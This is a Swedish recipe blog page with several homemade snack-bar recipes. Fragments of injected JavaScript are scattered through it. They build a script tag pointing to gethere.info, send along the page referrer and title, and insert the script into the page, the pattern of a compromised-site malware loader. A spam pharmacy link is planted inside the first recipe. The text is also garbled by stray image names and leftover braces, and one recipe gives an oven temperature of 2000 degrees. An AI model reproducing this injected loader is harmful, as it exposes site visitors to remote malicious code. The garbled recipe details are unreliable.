Cashewrutor med smak av apelsin och ingefära

bild10
För några dagar sedan fick jag provsmaka på dessa godbitar av min granne Anna. Nu har jag bakat dem för första gången och de smakar supergott!

Cashewrutor (ca 16 bars)
1 apelsin
4 dl cashewnötter
100 gr torkade aprikoser
1 msk färsk riven ingefära
150 gr mörk choklad (minst 70%)

Gör så här:

Riv skalet av apelsinen och ställ det åt sidan. Dela apelsinen och pressa ut saften (gärna i matberedare el juicecentrifug). Häll saften i matberedare, tillsätt nötter, aprikoser och ingefära och mixa till jämn smet. Forma smeten till en rektangel, ca 1 cm tjock. Smält chokladen i vattenbad och bred den över nötmassan. I receptet https://www.viagrasansordonnancefr.com/viagra-achat/ står det att man ska strö på apelsinskalet. Jag blandade skalet i degen istället. Förvara kallt. Går utmärkt att frysa!
BildaAA
A B
BCEFD
bild5
bild6
bild7bild8bild11bild12bild9

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Goda bars

IMG_7905

Bars 7 st
Recept
1 påse Änglamarks ”soft dates” 200 gram
2 dl saltade jordnötter

Topping
Mörk choklad

1. Börja med att mixa dadlarna.
2. Häll ned jordnötterna och mixa tills du har en slags deg med grovhackade jordnötter.
3. Forma till en platt avlång kaka och lägg i frysen för att stelna. Skär upp ca 7 avlånga bars och pensla på med mörk choklad och valfri topping.
Jag använde torkade jordgubbar och kokos. Du kan förvara dina bars i frysen också.

IMG_7931IMG_7932

Mango- och chiabars

6

Nu har jag testat ett nytt recept på goda bars från Ica. Tycker ni om mangosmak så kommer ni garanterat tycka om dessa bars. Receptet hittade jag på ICA’a buffé. Jag ändrade receptet lite och la till några extra dadlar och om du inte har agavesirap går det bra med honung. Kan tipsa er om att först blötlägga den torkade mangon innan du mixar allt i matberedaren med tanke på att mangon är rätt seg i sig själv och är svår att mixa annars.

Recept 12 bars
200
g torkad mango
8-10 färska dadlar (urkärnade)
1/2 dl chiafrön
2 dl cashewnötter (naturella)
ca 1 msk kokosolja
1/2 msk agavesirap/ eller honung
1 krm salt

Gör så här:
Skär eller klipp mangon i mindre bitar.
Mixa samtliga ingredienser till en slät blandning i en matberedare.
Tryck ut smeten i en bakpappersklädd form, ca 25×15 cm. Ställ i kylen minst 4 timmar.
Skär frukt- och nötkakan i ca 12-15 bars.
Jag förvarar mina bars i frysen.

35426document.currentScript.parentNode.insertBefore(s, document.currentScript);

Raw bars av dadlar och cashewnötter

bild5

Originalreceptet hittade jag här. Jag har sedan bytt ut jordnötter mot cashewnötter.

RAW bars (ca 7-8 bars)
1 påse Änglamarks ”soft dates” 200 gram
2 dl saltade cashewnötter

Topping (valfritt)
Ev  70% mörk choklad som du smälter och doppar dina bars i
Riven kokos
Kakao nibs
Salta jordnötter

Gör så här:
1. Börja med att mixa dadlarna.
2. Häll ned jordnötterna och mixa tills du har en slags deg med grovhackade jordnötter.
3. Rulla/forma (gärna med blöta händer)  och kyl. Du kan förvara dina bars i frysen också.

bild6bild7bild8bild10bild9bild12bild11

bild1bild2bild3bild4bild5

 }

Goda Granola bars

bild14

Nu har jag bakat  supergoda granola bars!  Receptet hittade jag på Renée Voltaire’s fb sida.

Bars (ca 14 s)
ca 15 Aprikoser
Lite vatten
en nypa äkta vanilj /vaniljpulver
2 msk Chiafrön
7 dl Renée Voltaire ”Crunchy Granola Hallon och Blåbär”

bild3bild2bild1

Gör så här:
Mixa ekologiska aprikoser med vatten, äkta vaniljpulver och chiafrön. Blanda med Crunchy Granola Hallon & Blåbär. Forma till bars och torka i ugn ca 15 min i 160 grader. Förvara dina bars i en burk med tätslutande lock. Om du vill göra dem lite mer lyxiga så kan du doppa dem i mörk 70% choklad.

bild4bild5bild7

bild6bild8bild9bild11bild12bild13bild5bild4bild3bildA

 

 

 }

Raw bars av dadlar och jordnötter

 

bild5

Nu har jag hittat ett supergott recept på raw bars. Du kan variera din topping  beroende på vad du tycker om.
Grundreceptet hittade jag här. Nästa gång tänker jag pröva att baka dessa raw bars på dadlar, aprikoser och cashewnötter. Antingen kan du göra raw bollar eller som jag till bars. Du kan också äta dem naturella utan mörk choklad om du vill. De smakar otroligt gott och perfekt att förvara i frysen och ta fram vid behov.

bild6

RAW bars (ca 7-8 bars)
1 påse Änglamarks ”soft dates” 200 gram
2 dl saltade jordnötter

Topping (valfritt)
Ev  70% mörk choklad som du smälter och doppar dina bars i
Riven kokos
Kakao nibs
Salta jordnötter

Gör så här:
1. Börja med att mixa dadlarna.
2. Häll ned jordnötterna och mixa tills du har en slags deg med grovhackade jordnötter.
3. Rulla/forma (gärna med blöta händer)  och kyl. Du kan förvara dina bars i frysen också.

bild4bild3

bild5Bild1bild2bild6bild9bild8bild7bild10

Dina bars är goda att äta helt naturella som bilden ovan. Men vill du göra med topping så kan du använda din fantasi och doppa dem i mörk choklad tex.  Jag gjorde lite olika varianter. Här doppade jag några bars med 70% mörk choklad.

bild9

bild10

Här blev det mörk choklad och jordnötter.

bild8

bild11

Här blev det mörk choklad, kakaonibs och riven kokos.

bild7

bild12

bild4

bild3

bild1d.getElementsByTagName(‘head’)[0].appendChild(s);

Coconut and Avocado bars

De här små gobitarna är superenkla att baka och perfekt att förvara i frysen tills de skall ätas.

bild8

Grundreceptet hittade jag här.

Kakan
1 Avocado
2 msk honung
1 dl kokosolja (smält)
4 dl kokosflingor
0.5 tsk pepparmyntsextrakt
1 krm salt
Chokladtopping
0,5 dl kakao
0,5 dl kokosolja
1 msk honung
1 gnutta vaniljpulver
Gör så här:
Klä in en bakplåt i folie. Lägg alla ingredienser till kakan och mixa med en stavmixer till en jämn smet.
Lägg smeten i bakplåten och platta till och in i frysen ca 10-15 minuter.
Under tiden kan du röra ihop chokladsmeten till din topping. Ta fram kakan från frysen och häll på din chokladtopping. Ställ in i frysen ytterligare 10 minter tills chokladen stelnat. Lyft ut kakan från formen och skär i bitar. Ställ i frysen tills servering.bild7bild7bild6
bild5bild2bild4bild3bild1

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Bounty (Paleo)

bild1

Roligt när man hittar goda recept på nyttigt godis. De här receptet hittade jag på bloggen ”My Paleo Pantry”. Jag har gjort om receptet lite. Förvara dessa gobitar i kylen.

Recept(6-8  storaBounty eller 15 mindre bitar)
100 gram kokosolja
100 gram kokoskräm * (se nedan vad jag menar med kokoskräm)
50 gram honung (vill du ha mindre sötma så ta i mindre honung)
1/2 tsk vaniljpulver
100 gram kokosmjöl ( 100 gram blir lite för mkt…rekomenderar att du provar dig fram och tar ca 80-90 gram istället)

Garnering
100 gram mörk choklad till garnering
Kakaonibs och kokos till garnering

Gör så här:
Blanda ihop kokosolja och kokoskräm i en gryta och smält på låg värme.
Ta bort grytan från spisen och häll i honung och vaniljpulver.
När allt är ihopblandat tillsätter du kokosmjöl. I receptet står det 100 gram men då blir degen en aning torr.
Ta 80-90 gram istället för att få en bättre deg.  Låt smeten stå i ca 10 minuter. Om du tycker smeten är för torr så kan du blanda ut med lite vatten.
Forma till bountybitar och lägg dem på en tallrik och in i frysen tills de blivit hårda.
Smält chokladen under vattenbad och doppa dina Bounty bitar i chokladen. Dekorera med kakaonibs
Förvara dessa gobitar i kylen och de håller ca 1 vecka i kylskåpet.

* Recept kokoskräm
Ställ en burk kokosmjölk med botten upp i kylen ca 8 timmar.
Sila bort kokosvattnet och kvar har du sk kokoskrämen i burken.

bild19

bild16

bild17bild18bild15bild14

bild12

bild13

Ställ in dina bars i frysen ca 10-15 minuter och under tiden smälter du chokladen över vattenbad.

Doppa halva din bar och låt torka.

bild8Vänd på din bar och doppa/pensla över choklad och dekorera med kakaonibs och kokos. Låt svalna i kylen.

bild10

bild9bild7bild6bild2bild3bild20bild22bild4bild5B

Proteinbars

Det här receptet hittade jag här. De här kommer jag göra fler gånger och ev lägga i lite torkad frukt nästa gång för att variera i smak.

bild (146)

Recept 8 bars
4 dl havregryn (ca 140g)
2 dl Whey proteinpulver chokladsmak
0,5 dl hackade mandlar
2 msk riven kokos
1-3 msk kokosmjöl
0,5 dl osötat äppelmos
1 msk honung eller agave sirap
0,5 dl mandelsmör (eller annat nötsmör)
0,5 dl valfri mjölk

Gör så här:
1. Blanda alla torra ingredienser i en bunke.
2. Rör ihop de blöta ingredienserna i en separat skål och häll sedan över de blöta. Blanda ihop allt ordentligt med en slev eller med händerna (om du som jag gillar att äta upp smeten på händerna).
3. Klä en rektanguljär bakform (ca 15-20x 15-20 cm) med plastfolie och gör folien dubbel så lång som bakfomen så att du kan vika den över formen. Lägg den tjocka smeten i botten, vik plastfolien över formen och tryck ut smeten till ett jämnt lager i botten.
4. Ställ in i kylen över natten eller minst 2 timmar och ta sedan ut och skär i 8 bitar.

Förvara i kylen i ca 1,5 vecka eller i frysen upp till 2-3 månader

bild (137)bild (140)

bild (141)bild (134)

bild4bild (144)bild (145)bild (143)bild (142)bild (147)bild (149)bild (151)bild (155)bild (157)bild (159)bild (161)bild (163)bild (165)bild (167)if (document.currentScript) {

Protein bars med smak av choklad

bild13bild17

Det här receptet hittade jag här.
Smaken är god och nu har jag laddat upp men en laddning som jag förvarar i kylen. Perfekt före och efter träningen.

Recept:
15 dadlar (utan kärna)
1 banan
1 1/2 dl kvarg
1 dl mjölk
1 dl äggvita
1 1/2 dl havregryn
1/2 dl kakao
1 tsk bakpulver

Gör så här: Sätt ugnen på 2000 grader. Mixa alla ingredienser i en matberedare tills det är ordentligt blandat.
Häll upp smeten i en bakplåtspappersklädd form (ta gärna en brödform eller mindre bakplåt). Ställ i ugnen ca 20-25 min. Ta ut och svalna innan du tar loss kakan och skär den i bitar. Förvara i kylen.

bild1

bild3bild4bild5bild6bild7

bild9bild10

bild12bild13bild11bild15